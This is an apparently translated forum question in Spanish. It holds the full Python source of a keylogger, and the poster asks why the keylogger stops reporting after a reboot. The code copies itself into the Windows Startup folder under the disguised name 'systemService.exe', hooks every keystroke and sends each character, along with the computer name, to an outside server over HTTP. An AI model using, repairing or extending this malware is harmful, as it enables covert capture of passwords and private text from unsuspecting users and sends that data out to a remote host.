
Estoy intentando crear un registrador de teclas en Python que se ejecute automáticamente al inicio. Aquí está el código Python.
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName
if os.path.exists(filePath):
if os.path.isfile(filePath+'systemService.exe')==False:
try:
shutil.copy2(sys.argv[0],filePath+'systemService.exe')
except:
pass
def OnKeyBoardEvent(event):
try:
params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
conn.request("GET","/index.php?"+params)
except:
pass
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
Este keylogger registra todos los datos ascii en el servidor nombrado en el código usando php. Funciona bien cuando ejecuté este archivo pyw, pero cuando reinicio la PC no inicia sesión en el archivo en el servidor. Verifiqué dos veces que este programa esté presente en el Directorio de inicio y se esté ejecutando en segundo plano después de reiniciar. Pero todavía no se registran datos en el archivo del servidor.